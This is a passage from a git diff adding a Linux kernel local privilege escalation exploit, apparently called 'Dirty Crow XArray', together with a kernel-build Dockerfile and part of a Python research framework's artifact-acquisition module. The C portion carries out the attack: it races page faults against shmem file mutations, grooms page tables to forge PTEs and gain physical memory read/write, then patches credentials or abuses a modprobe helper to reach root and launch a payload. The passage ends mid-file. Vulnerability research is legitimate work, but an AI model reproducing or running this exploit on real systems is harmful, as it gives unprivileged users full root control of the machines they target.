PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + if ((RACE_MEMBARRIER_SHOTS > 0 || RACE_MEMBARRIER_WORKERS > 0) && + syscall(SYS_membarrier, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) != 0) { + perror("register private expedited membarrier"); + return 2; + } + + if (set_profile_affinity(0) != 0) { + fprintf(stderr, "configure race coordinator affinity failed\n"); + return 2; + } + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + candidate_roots[0] = root; + candidate_roots[1] = root + PUD_SIZE; + source_bases[0] = candidate_roots[0] + SOURCE_ENTRY * PMD_SIZE; + source_bases[1] = candidate_roots[1]; + fake_bases[0] = candidate_roots[0] + CORRUPT_FIRST_PMD * PMD_SIZE; + fake_bases[1] = candidate_roots[1] + CORRUPT_FIRST_PMD * PMD_SIZE; + + /* + * Install every VMA before the allocation-sensitive page-table + * sequence. Candidate 0 is raced. If order-0 page-table allocations + * ascend, its PTE page follows its own PMD page. If they descend, the + * subsequently allocated candidate-1 PMD page precedes candidate 0's + * PTE page. Scanning both PUDs therefore covers either allocator + * direction without privileged PFN knowledge. + */ + for (unsigned int candidate = 0; candidate < 2; candidate++) { + dummies[candidate] = mmap( + (void *)(source_bases[candidate] + PMD_SIZE - PAGE_SIZE), + PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (dummies[candidate] == MAP_FAILED || + mmap((void *)fake_bases[candidate], FAKE_WINDOW_SIZE, + PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, + -1, 0) == MAP_FAILED) { + perror("install fixed candidate VMAs"); + return 2; + } + } + + /* + * Keep both page-table faults on one allowed CPU so their order-0 + * allocations come from one per-CPU page list. + */ + if (sched_getaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("read groom affinity"); + return 2; + } + groom_cpu = sched_getcpu(); + if (groom_cpu < 0 || !CPU_ISSET(groom_cpu, &groom_saved_set)) { + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &groom_saved_set)) { + groom_cpu = cpu; + break; + } + } + } + if (groom_cpu < 0) { + fprintf(stderr, "no allowed groom CPU\n"); + return 2; + } + { + cpu_set_t groom_single_set; + + CPU_ZERO(&groom_single_set); + CPU_SET(groom_cpu, &groom_single_set); + if (sched_setaffinity(0, sizeof(groom_single_set), + &groom_single_set) != 0) { + perror("pin page-table groom"); + return 2; + } + } + for (unsigned int candidate = 0; candidate < 2; candidate++) { + if (touch_file_byte(dummies[candidate]) != 0) { + (void)sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set); + perror("fault candidate grooming mapping"); + return 2; + } + } + if (sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("restore groom affinity"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx cpu=%d candidate0_source=%#lx candidate0_fake=%#lx candidate1_source=%#lx candidate1_fake=%#lx\n", + (unsigned long)root, groom_cpu, + (unsigned long)source_bases[0], + (unsigned long)fake_bases[0], (unsigned long)source_bases[1], + (unsigned long)fake_bases[1]); + fflush(stdout); + + for (unsigned int candidate = 0; candidate < 2; candidate++) { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_bases[candidate], PAGE_SIZE, + &resident); + + printf("FAKE_WINDOW_PRECONDITION candidate=%u mincore_rc=%d resident=%u\n", + candidate, pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + atomic_store(&fault_release, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + atomic_store(&membarrier_calls, 0); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) { + if (pthread_create(&membarrier_threads[i], NULL, + membarrier_worker, NULL) != 0) { + perror("pthread_create membarrier"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + char *sources[RACE_SOURCE_VIEWS]; + uint64_t *alias; + unsigned char *whole = MAP_FAILED; + void *whole_reservation = MAP_FAILED; + volatile unsigned int delay; + const unsigned int candidate = RACE_LAYOUT_CANDIDATE; + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + + if (RACE_MUTATION_MODE == 4) { + char name[32]; + + snprintf(name, sizeof(name), "race-%d", i); + fd = openat(huge_tmpfs_dirfd, name, + O_CREAT | O_EXCL | O_RDWR | O_CLOEXEC, + 0700); + if (fd >= 0 && unlinkat(huge_tmpfs_dirfd, name, 0) != 0) { + close(fd); + fd = -1; + } + } else { + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC | MFD_EXEC); + } + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + perror("prepare race file"); + return 3; + } + if (RACE_MUTATION_MODE == 3) { + whole = prepare_order0_shmem_folio(fd, + &whole_reservation); + if (whole == MAP_FAILED) { + perror("prepare order-0 race folio"); + return 3; + } + } else if (prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) { + sources[view] = mmap( + (void *)(race_source_base + view * SOURCE_SIZE), + SOURCE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + (RACE_FILE_BASE_PGOFF + SOURCE_PGOFF + + view * SOURCE_SIZE / PAGE_SIZE) * PAGE_SIZE); + if (sources[view] == MAP_FAILED) { + perror("map source race view"); + return 2; + } + } + source = sources[0]; + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, + (off_t)((RACE_FILE_BASE_PGOFF + 64UL) * + PAGE_SIZE)); + if (alias == MAP_FAILED) { + perror("map fake-PTE alias"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + atomic_store_explicit(&fault_addrs[view], sources[view], + memory_order_release); + if (STARTUP_WAIT_ALL_WORKERS) + atomic_store_explicit(&fault_release, 0, + memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + if (STARTUP_WAIT_ACTIVE) { + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit( + &active_workers, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + atomic_store_explicit(&fault_release, 1, + memory_order_release); + } + while (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0) + sched_yield(); + } + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); + if (RACE_MUTATION_MODE == 4) + usleep(5000); +#if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); +#endif + if (RACE_MUTATION_MODE == 2) { + const unsigned long minimum_local_pages = + SOURCE_PGOFF + SOURCE_SIZE / PAGE_SIZE; + const unsigned long new_pages = + RACE_FILE_BASE_PGOFF + minimum_local_pages + + (unsigned long)i % + (512UL - minimum_local_pages); + + if (ftruncate(fd, (off_t)(new_pages * PAGE_SIZE)) != 0 || + ftruncate(fd, + (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + mutation_ready = 0; + mutation_failures++; + } + } else if (RACE_MUTATION_MODE == 3) { + mutation_ready = 0; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + if (madvise(whole, PMD_SIZE, MADV_COLLAPSE) == 0) { + mutation_ready = 1; + break; + } + if (errno != EAGAIN && errno != EBUSY) + break; + sched_yield(); + } + if (!mutation_ready) + mutation_failures++; + } + if (mutation_ready && RACE_MUTATION_MODE != 2) + (void)fallocate(fd, + FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE), + PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + if (whole_reservation != MAP_FAILED) + munmap(whole_reservation, 2 * PMD_SIZE); + + for (unsigned int target_candidate = 0; + target_candidate < 2 && !success; + target_candidate++) { + const uintptr_t target_root = + candidate_roots[target_candidate]; + const unsigned long target_source_first_pmd = + (source_bases[target_candidate] - target_root) / + PMD_SIZE; + const unsigned long target_source_pmds = + (RACE_SOURCE_VIEWS * SOURCE_SIZE + + PMD_SIZE - 1) / PMD_SIZE; + unsigned long first_present = PUD_PMD_SLOTS; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + unsigned long best_first = PUD_PMD_SLOTS; + unsigned long best_len = 0; + unsigned long run_first = 0; + unsigned long run_len = 0; + + for (unsigned long pmd = 0; pmd < PUD_PMD_SLOTS; + pmd++) { + unsigned char probe = 0; + + if (pmd >= target_source_first_pmd && + pmd < target_source_first_pmd + + target_source_pmds) { + run_len = 0; + continue; + } + if (safe_read( + (const volatile unsigned char *) + (target_root + pmd * PMD_SIZE), + &probe) != 0) { + run_len = 0; + continue; + } + if (first_present == PUD_PMD_SLOTS) + first_present = pmd; + last_present = pmd; + present_pmds++; + if (run_len == 0) + run_first = pmd; + run_len++; + if (run_len > best_len) { + best_first = run_first; + best_len = run_len; + } + } + if (present_pmds == 0) + continue; + if (best_len > FAKE_PT_PAGES) + best_len = FAKE_PT_PAGES; + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + best_first * PMD_SIZE; + winning_pmds = best_len; + printf("PAGE_TABLE_PRIMITIVE round=%d race_candidate=%u target_candidate=%u present_pmds=%lu first_layout_pmd=%lu last_layout_pmd=%lu selected_first_pmd=%lu mapped_pmds=%lu scanned_pmds=%lu\n", + i, candidate, target_candidate, present_pmds, + first_present, last_present, best_first, + winning_pmds, PUD_PMD_SLOTS); + fflush(stdout); + } + if (success) + break; + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + munmap(sources[view], SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + close(fd); + if ((i % 100) == 0) { + printf("RACE_PROGRESS round=%d active=%d mutation_failures=%lu\n", + i, atomic_load(&active_workers), mutation_failures); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) + pthread_join(membarrier_threads[i], NULL); + printf("MEMBARRIER_CALLS count=%lu\n", + atomic_load_explicit(&membarrier_calls, memory_order_relaxed)); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + if (preserve_corrupted_mm() < 0) { + perror("preserve corrupted mm"); + printf("MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + + /* Only PMD spans observed as present are scanned below. Holes remain + * inaccessible and are skipped through the guarded access helpers. */ + { + unsigned long marker_pfn = 0; + int proof_result; + int escalation_result; + int modprobe_available; + + mapped_bytes = winning_pmds * PMD_SIZE; + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, mapped_bytes / PAGE_SIZE); + fflush(stdout); + proof_result = prove_physical_rw_plan( + winning_alias, winning_fake_base, mapped_bytes, + tlb_flush_pad, (unsigned char *)marker, &marker_pfn); + if (proof_result < 0) { + perror("remap physical proof window"); + return 7; + } + if (proof_result > 0) + return 6; + + modprobe_available = + getenv("XARR_DISABLE_MODPROBE") == NULL && + prepare_modprobe_helper() == 0; + escalation_result = scan_escalation_ranges( + winning_alias, winning_fake_base, mapped_bytes, + tlb_flush_pad, marker_pfn, modprobe_available); + cleanup_modprobe_helper(); + if (escalation_result < 0) { + perror("remap escalation window"); + return 7; + } + if (escalation_result == 2) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (escalation_result != 1) { + printf("CREDENTIAL_PATCH_FAILED scanned_ranges=%u source=%s\n", + phys_range_count, phys_range_source); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + if (launch_root_payload() != 0) + return 10; + return 0; + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + char main_cpu_name[32] = "unbound"; + const char *env_rounds = getenv("XARR_ROUNDS"); + if (snprintf(post_root_path, sizeof(post_root_path), "%s-%ld", + POST_ROOT_PATH_PREFIX, (long)getpid()) >= + (int)sizeof(post_root_path)) + return 2; + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + argv[0]) >= (int)sizeof(modprobe_marker_path)) + return 2; + if (prove_root_identity() != 0 || + prove_post_root_create() != 0 || + create_root_marker() != 0) + return 1; + printf("ROOT_HELPER_EXECUTION_CONFIRMED uid=%u euid=%u gid=%u egid=%u\n", + getuid(), geteuid(), getgid(), getegid()); + fflush(stdout); + return 0; + } + if (geteuid() == 0) { + if (setgroups(0, NULL) != 0 || + setresgid(65534, 65534, 65534) != 0 || + setresuid(65534, 65534, 65534) != 0 || + prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) != 0) { + perror("drop initial privileges"); + return 2; + } + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (configure_runtime() != 0) + return 2; + if (race_cpu_profile == CPU_PROFILE_BOUNDED) + (void)snprintf(main_cpu_name, sizeof(main_cpu_name), "set:%u", + allowed_cpu_count < BOUNDED_CPU_COUNT ? + allowed_cpu_count : BOUNDED_CPU_COUNT); + else if (race_cpu_profile != CPU_PROFILE_UNBOUND) + (void)snprintf(main_cpu_name, sizeof(main_cpu_name), "%d", + allowed_cpus[0]); + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 file_base_pgoff=%lu delay_period=%u delay_step=%u startup_wait=%s fault_order=pwrite_then_dontneed fault_access=read soft_dirty_clear=0 tlb_flush_pages=%lu worker_threads=%u source_views=%u membarrier_shots=%u membarrier_workers=%u timer_ns=%lu timers_per_worker=%u mutation_mode=%u cpu_profile=%s allowed_cpus=%u worker_cpus=%s main_cpu=%s marker_pages=%lu layout_scan_pmds=%lu\n", + rounds, RACE_FILE_BASE_PGOFF, DELAY_PERIOD, DELAY_STEP, + STARTUP_WAIT_ALL_WORKERS ? "all_workers_and_active_caller" : + (STARTUP_WAIT_ACTIVE ? "active_caller" : "none"), + TLB_FLUSH_PAGES, FAULT_THREADS, RACE_SOURCE_VIEWS, + RACE_MEMBARRIER_SHOTS, + RACE_MEMBARRIER_WORKERS, RACE_TIMER_NS, + RACE_TIMERS_PER_WORKER, RACE_MUTATION_MODE, + cpu_profile_name(), allowed_cpu_count, cpu_profile_name(), + main_cpu_name, marker_pages, PUD_PMD_SLOTS); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/containers/kernel-build.Dockerfile b/dirty-crow-xarray-lpe/framework/containers/kernel-build.Dockerfile new file mode 100644 index 0000000..7847f52 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/containers/kernel-build.Dockerfile @@ -0,0 +1,45 @@ +FROM debian:trixie-slim@sha256:d7e12182ce18b85b93007c1dedf31f2d29e01ccf3182cc4017c709b6259bc132 + +ARG DEBIAN_FRONTEND=noninteractive +RUN printf '%s\n' \ + 'deb [check-valid-until=no] https://snapshot.debian.org/archive/debian/20260830T000000Z trixie main' \ + 'deb [check-valid-until=no] https://snapshot.debian.org/archive/debian-security/20260830T000000Z trixie-security main' \ + > /etc/apt/sources.list \ + && rm -f /etc/apt/sources.list.d/debian.sources \ + && apt-get -o Acquire::Check-Valid-Until=false update \ + && apt-get install -y --no-install-recommends \ + bc=1.07.1-4 \ + binutils=2.44-3 \ + binutils-aarch64-linux-gnu=2.44-3 \ + binutils-riscv64-linux-gnu=2.44-3 \ + bison=2:3.8.2+dfsg-1+b2 \ + busybox-static=1:1.37.0-6+b8 \ + clang-19=1:19.1.7-3+b1 \ + cpio=2.15+dfsg-2 \ + dwarves=1.30-1 \ + flex=2.6.4-8.2+b4 \ + gcc-14=14.2.0-19 \ + gcc-14-aarch64-linux-gnu=14.2.0-19cross1 \ + gcc-14-riscv64-linux-gnu=14.2.0-19cross1 \ + git=1:2.47.3-0+deb13u1 \ + kmod=34.2-2 \ + libelf-dev=0.192-4 \ + libssl-dev=3.5.7-1~deb13u2 \ + liburcu-dev=0.15.2-2 \ + lld-19=1:19.1.7-3+b1 \ + llvm-19=1:19.1.7-3+b1 \ + make=4.4.1-2 \ + minisign=0.12-1 \ + musl-tools=1.2.5-3.1~deb13u1 \ + pkgconf=1.8.1-4 \ + python3=3.13.5-1 \ + qemu-system-x86=1:10.0.11+ds-0+deb13u1 \ + rsync=3.4.1+ds1-5+deb13u4 \ + xz-utils=5.8.1-1+deb13u1 \ + && rm -rf /var/lib/apt/lists/* + +ENV CC=gcc-14 \ + HOSTCC=gcc-14 \ + LLVM=-19 \ + SOURCE_DATE_EPOCH=1786915946 +WORKDIR /workspace diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/__init__.py b/dirty-crow-xarray-lpe/framework/dirtycrow/__init__.py new file mode 100644 index 0000000..5c8cd55 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/__init__.py @@ -0,0 +1,3 @@ +"""Dirty Crow XArray vulnerability research framework.""" + +__version__ = "0.1.0" diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/__main__.py b/dirty-crow-xarray-lpe/framework/dirtycrow/__main__.py new file mode 100644 index 0000000..eb53e2f --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/__main__.py @@ -0,0 +1,3 @@ +from .cli import main + +raise SystemExit(main()) diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/acquire.py b/dirty-crow-xarray-lpe/framework/dirtycrow/acquire.py new file mode 100644 index 0000000..94f4c50 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/acquire.py @@ -0,0 +1,423 @@ +from __future__ import annotations + +import hashlib +import os +import re +import tempfile +import urllib.request +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Callable +from urllib.parse import urlparse + +from .strictjson import ( + expect_int, + expect_keys, + expect_list, + expect_object, + expect_sha256, + expect_string, + load_object, + resolve_beneath_file, + sha256_file, +) + +_SCHEMA_VERSION = 1 +_NAME = re.compile(r"[A-Za-z0-9][A-Za-z0-9._-]{0,127}\Z") +_ALLOWED_ARCHITECTURES = {"x86_64", "arm64", "powerpc64", "s390x"} +_ALLOWED_ROLES = { + "kernel", + "initrd", + "rootfs", + "modules", + "config", + "system-map", + "btf", + "debuginfo", + "package", + "package-metadata", + "repository-metadata", + "signature", + "keyring", + "source", + "patch", +} +_MAX_ARTIFACT_SIZE = 1024 * 1024 * 1024 * 1024 +_CHUNK_SIZE = 1024 * 1024 + + +class AcquisitionError(ValueError): + """An acquisition profile or retrieved artifact failed verification.""" + + +@dataclass(frozen=True) +class SourceSpec: + type: str + value: str + + +@dataclass(frozen=True) +class ArtifactSpec: + name: str + role: str + sha256: str + size: int + source: SourceSpec + + +@dataclass(frozen=True) +class TargetIdentity: + id: str + provider: str + release: str + architecture: str + package: str | None + version: str | None + source_commit: str | None + + +@dataclass(frozen=True) +class AcquisitionProfile: + source: Path + identity: TargetIdentity + artifacts: tuple[ArtifactSpec, ...] + + +OpenUrl = Callable[..., Any] + + +def _validate_name(value: object, field: str) -> str: + name = expect_string(value, field, AcquisitionError) + if not _NAME.fullmatch(name): + raise AcquisitionError( + f"{field} must match [A-Za-z0-9][A-Za-z0-9._-]{{0,127}}" + ) + return name + + +def _validate_https_url(value: object, field: str) -> str: + url = expect_string(value, field, AcquisitionError) + parsed = urlparse(url) + if parsed.scheme.lower() != "https": + raise AcquisitionError(f"{field} must use HTTPS") + if not parsed.hostname or parsed.username or parsed.password: + raise AcquisitionError(f"{field} must name an HTTPS host without userinfo") + if parsed.fragment: + raise AcquisitionError(f"{field} cannot contain a fragment") + try: + parsed.port + except ValueError as error: + raise AcquisitionError(f"{field} has an invalid port") from error + return url + + +def _parse_source(value: object, field: str) -> SourceSpec: + payload = expect_object(value, field, AcquisitionError) + expect_keys( + payload, + field, + required={"type"}, + optional={"path", "url"}, + error_type=AcquisitionError, + ) + source_type = expect_string(payload["type"], f"{field}.type", AcquisitionError) + if source_type == "local": + expect_keys( + payload, + field, + required={"type", "path"}, + error_type=AcquisitionError, + ) + path = expect_string(payload["path"], f"{field}.path", AcquisitionError) + return SourceSpec(type=source_type, value=path) + if source_type == "https": + expect_keys( + payload, + field, + required={"type", "url"}, + error_type=AcquisitionError, + ) + return SourceSpec( + type=source_type, + value=_validate_https_url(payload["url"], f"{field}.url"), + ) + raise AcquisitionError(f"{field}.type must be local or https") + + +def _parse_artifact(value: object, index: int) -> ArtifactSpec: + field = f"artifacts[{index}]" + payload = expect_object(value, field, AcquisitionError) + expect_keys( + payload, + field, + required={"name", "role", "sha256", "size", "source"}, + error_type=AcquisitionError, + ) + role = expect_string(payload["role"], f"{field}.role", AcquisitionError) + if role not in _ALLOWED_ROLES: + raise AcquisitionError( + f"{field}.role must be one of {', '.join(sorted(_ALLOWED_ROLES))}" + ) + return ArtifactSpec( + name=_validate_name(payload["name"], f"{field}.name"), + role=role, + sha256=expect_sha256(payload["sha256"], f"{field}.sha256", AcquisitionError), + size=expect_int( + payload["size"], + f"{field}.size", + 0, + _MAX_ARTIFACT_SIZE, + AcquisitionError, + ), + source=_parse_source(payload["source"], f"{field}.source"), + ) + + +def _optional_string(payload: dict[str, object], key: str, field: str) -> str | None: + value = payload.get(key) + if value is None: + return None + return expect_string(value, f"{field}.{key}", AcquisitionError) + + +def _parse_identity(value: object) -> TargetIdentity: + payload = expect_object(value, "target", AcquisitionError) + expect_keys( + payload, + "target", + required={"id", "provider", "release", "architecture"}, + optional={"package", "version", "source_commit"}, + error_type=AcquisitionError, + ) + architecture = expect_string( + payload["architecture"], "target.architecture", AcquisitionError + ) + if architecture not in _ALLOWED_ARCHITECTURES: + raise AcquisitionError( + "target.architecture must be one of " + + ", ".join(sorted(_ALLOWED_ARCHITECTURES)) + ) + source_commit = _optional_string(payload, "source_commit", "target") + if source_commit is not None and not re.fullmatch(r"[0-9a-fA-F]{40,64}", source_commit): + raise AcquisitionError("target.source_commit must be a 40-64 digit hex object ID") + return TargetIdentity( + id=_validate_name(payload["id"], "target.id"), + provider=expect_string(payload["provider"], "target.provider", AcquisitionError), + release=expect_string(payload["release"], "target.release", AcquisitionError), + architecture=architecture, + package=_optional_string(payload, "package", "target"), + version=_optional_string(payload, "version", "target"), + source_commit=source_commit.lower() if source_commit else None, + ) + + +def load_acquisition_profile(profile_path: Path) -> AcquisitionProfile: + source = profile_path.resolve(strict=True) + if not source.is_file(): + raise AcquisitionError(f"profile is not a regular file: {source}") + payload = load_object(source, AcquisitionError) + expect_keys( + payload, + "profile", + required={"schema_version", "target", "artifacts"}, + error_type=AcquisitionError, + ) + if payload["schema_version"] != _SCHEMA_VERSION: + raise AcquisitionError( + f"unsupported acquisition schema_version: {payload['schema_version']!r}" + ) + raw_artifacts = expect_list(payload["artifacts"], "artifacts", AcquisitionError) + if not raw_artifacts: + raise AcquisitionError("artifacts must contain at least one artifact") + artifacts = tuple( + _parse_artifact(value, index) for index, value in enumerate(raw_artifacts) + ) + names = [artifact.name for artifact in artifacts] + if len(names) != len(set(names)): + raise AcquisitionError("artifact names must be unique") + return AcquisitionProfile( + source=source, + identity=_parse_identity(payload["target"]), + artifacts=artifacts, + ) + + +class _HttpsOnlyRedirectHandler(urllib.request.HTTPRedirectHandler): + def redirect_request( + self, + req: urllib.request.Request, + fp: Any, + code: int, + msg: str, + headers: Any, + newurl: str, + ) -> urllib.request.Request | None: + _validate_https_url(newurl, "redirect URL") + return super().redirect_request(req, fp, code, msg, headers, newurl) + + +def _default_open_url(request: urllib.request.Request, *, timeout: int) -> Any: + opener = urllib.request.build_opener(_HttpsOnlyRedirectHandler()) + return opener.open(request, timeout=timeout) + + +def _stream_verified( + stream: Any, destination: Path, expected_size: int, expected_sha256: str +) -> tuple[int, str]: + + digest = hashlib.sha256() + size = 0 + with destination.open("wb") as output: + while True: + chunk = stream.read(_CHUNK_SIZE) + if not chunk: + break + if not isinstance(chunk, bytes): + raise AcquisitionError("artifact stream returned non-byte data") + size += len(chunk) + if size > expected_size: + raise AcquisitionError( + f"artifact exceeds expected size {expected_size}: observed at least {size}" + ) + digest.update(chunk) + output.write(chunk) + output.flush() + os.fsync(output.fileno()) + actual_sha256 = digest.hexdigest() + if size != expected_size: + raise AcquisitionError( + f"artifact size mismatch: expected {expected_size}, observed {size}" + ) + if actual_sha256 != expected_sha256: + raise AcquisitionError( + f"artifact SHA-256 mismatch: expected {expected_sha256}, observed {actual_sha256}" + ) + return size, actual_sha256 + + +def _existing_store_record(destination: Path, artifact: ArtifactSpec) -> bool: + if not destination.exists(): + return False + if not destination.is_file(): + raise AcquisitionError(f"content-addressed path is not a file: {destination}") + size = destination.stat().st_size + actual = sha256_file(destination) + if size != artifact.size or actual != artifact.sha256: + raise AcquisitionError( + f"content-addressed store corruption at {destination}: " + f"expected {artifact.size}/{artifact.sha256}, observed {size}/{actual}" + ) + return True + + +def _source_record( + profile: AcquisitionProfile, + artifact: ArtifactSpec, + temporary: Path, + *, + open_url: OpenUrl, + timeout_seconds: int, +) -> dict[str, object]: + if artifact.source.type == "local": + source_path = resolve_beneath_file( + profile.source.parent, + artifact.source.value, + f"artifact {artifact.name} local source", + AcquisitionError, + ) + with source_path.open("rb") as stream: + _stream_verified(stream, temporary, artifact.size, artifact.sha256) + return {"type": "local", "path": artifact.source.value} + + request = urllib.request.Request( + artifact.source.value, + headers={"User-Agent": "dirty-crow-acquire/1"}, + method="GET", + ) + with open_url(request, timeout=timeout_seconds) as response: + _validate_https_url(response.geturl(), "final response URL") + content_length = response.headers.get("Content-Length") + if content_length is not None: + try: + declared_size = int(content_length) + except ValueError as error: + raise AcquisitionError("HTTPS Content-Length is not an integer") from error + if declared_size != artifact.size: + raise AcquisitionError( + f"HTTPS Content-Length mismatch: expected {artifact.size}, " + f"server declared {declared_size}" + ) + _stream_verified(response, temporary, artifact.size, artifact.sha256) + return {"type": "https", "url": artifact.source.value} + + +def acquire_profile( + profile: AcquisitionProfile, + store: Path, + *, + open_url: OpenUrl = _default_open_url, + timeout_seconds: int = 60, +) -> dict[str, object]: + if not 1 <= timeout_seconds <= 3600: + raise AcquisitionError("timeout_seconds must be between 1 and 3600") + store_root = store.resolve(strict=False) + object_root = store_root / "sha256" + object_root.mkdir(parents=True, exist_ok=True) + artifact_records: list[dict[str, object]] = [] + + for artifact in profile.artifacts: + destination = object_root / artifact.sha256 + source_record: dict[str, object] + reused = _existing_store_record(destination, artifact) + if reused: + source_record = ( + {"type": "local", "path": artifact.source.value} + if artifact.source.type == "local" + else {"type": "https", "url": artifact.source.value} + ) + else: + file_descriptor, temporary_name = tempfile.mkstemp( + prefix=f".{artifact.sha256}.", suffix=".tmp", dir=object_root + ) + os.close(file_descriptor) + temporary = Path(temporary_name) + try: + source_record = _source_record( + profile, + artifact, + temporary, + open_url=open_url, + timeout_seconds=timeout_seconds, + ) + os.replace(temporary, destination) + finally: + temporary.unlink(missing_ok=True) + artifact_records.append( + { + "name": artifact.name, + "role": artifact.role, + "size": artifact.size, + "sha256": artifact.sha256, + "store_path": f"sha256/{artifact.sha256}", + "source": source_record, + } + ) + + identity = profile.identity + return { + "schema_version": _SCHEMA_VERSION, + "passed": True, + "target": { + "id": identity.id, + "provider": identity.provider, + "release": identity.release, + "architecture": identity.architecture, + "package": identity.package, + "version": identity.version, + "source_commit": identity.source_commit, + }, + "profile_sha256": sha256_file(profile.source), + "store_layout": 